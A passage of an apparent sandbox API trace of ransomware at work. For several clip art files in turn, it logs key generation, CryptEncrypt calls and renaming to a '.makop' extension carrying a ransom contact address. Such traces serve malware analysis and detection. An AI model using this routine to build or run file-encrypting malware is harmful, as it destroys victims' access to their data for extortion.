(in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0124.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.131] GetProcessHeap () returned 0x48a0000 [0124.132] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.132] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.136] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.136] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.137] GetProcessHeap () returned 0x48a0000 [0124.137] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.137] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.137] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.137] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.137] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.137] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.137] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.137] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.138] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.138] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.138] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.138] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3928, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3928, lpOverlapped=0x0) returned 1 [0124.140] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3930, dwBufLen=0x3930 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3930) returned 1 [0124.140] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.140] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3930, lpOverlapped=0x0) returned 1 [0124.140] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.141] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.141] SetEndOfFile (hFile=0xf0) returned 1 [0124.157] GetProcessHeap () returned 0x48a0000 [0124.157] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.158] GetProcessHeap () returned 0x48a0000 [0124.158] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.158] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.160] CloseHandle (hObject=0xf0) returned 1 [0124.160] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1 [0124.160] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0124.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.161] GetProcessHeap () returned 0x48a0000 [0124.161] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.161] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.161] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.161] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.162] GetProcessHeap () returned 0x48a0000 [0124.162] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.162] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.162] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.162] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.167] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.167] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.167] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.167] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.167] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.167] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.167] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.168] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a60, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a60, lpOverlapped=0x0) returned 1 [0124.169] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a60) returned 1 [0124.169] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.169] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a60, lpOverlapped=0x0) returned 1 [0124.170] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.170] SetEndOfFile (hFile=0xf0) returned 1 [0124.178] GetProcessHeap () returned 0x48a0000 [0124.178] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.178] GetProcessHeap () returned 0x48a0000 [0124.178] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.178] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.180] CloseHandle (hObject=0xf0) returned 1 [0124.180] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1 [0124.180] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0124.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.181] GetProcessHeap () returned 0x48a0000 [0124.181] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.181] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.181] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.181] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.186] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.186] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.186] GetProcessHeap () returned 0x48a0000 [0124.186] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.186] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.186] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.186] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.186] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.187] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.187] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.187] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.187] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.187] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.187] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2988, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2988, lpOverlapped=0x0) returned 1 [0124.189] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2990, dwBufLen=0x2990 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2990) returned 1 [0124.189] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.189] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2990, lpOverlapped=0x0) returned 1 [0124.189] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.189] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.189] SetEndOfFile (hFile=0xf0) returned 1 [0124.196] GetProcessHeap () returned 0x48a0000 [0124.197] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.197] GetProcessHeap () returned 0x48a0000 [0124.197] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.197] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.197] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.199] CloseHandle (hObject=0xf0) returned 1 [0124.199] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1 [0124.199] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF") returned 63 [0124.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.200] GetProcessHeap () returned 0x48a0000 [0124.200] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.200] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.200] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.200] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0124.216] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.216] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.216] GetProcessHeap () returned 0x48a0000 [0124.216] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.216] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.217] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.217] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.217] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.217] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.217] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.217] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.218] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.218] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.221] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.221] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.221] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3394, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3394, lpOverlapped=0x0) returned 1 [0124.223] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x33a0, dwBufLen=0x33a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x33a0) returned 1 [0124.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.223] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x33a0, lpOverlapped=0x0) returned 1 [0124.223] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.223] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.223] SetEndOfFile (hFile=0xf0) returned 1 [0124.230] GetProcessHeap () returned 0x48a0000 [0124.230] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.230] GetProcessHeap () returned 0x48a0000 [0124.230] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.231] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.232] CloseHandle (hObject=0xf0) returned 1 [0124.232] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, 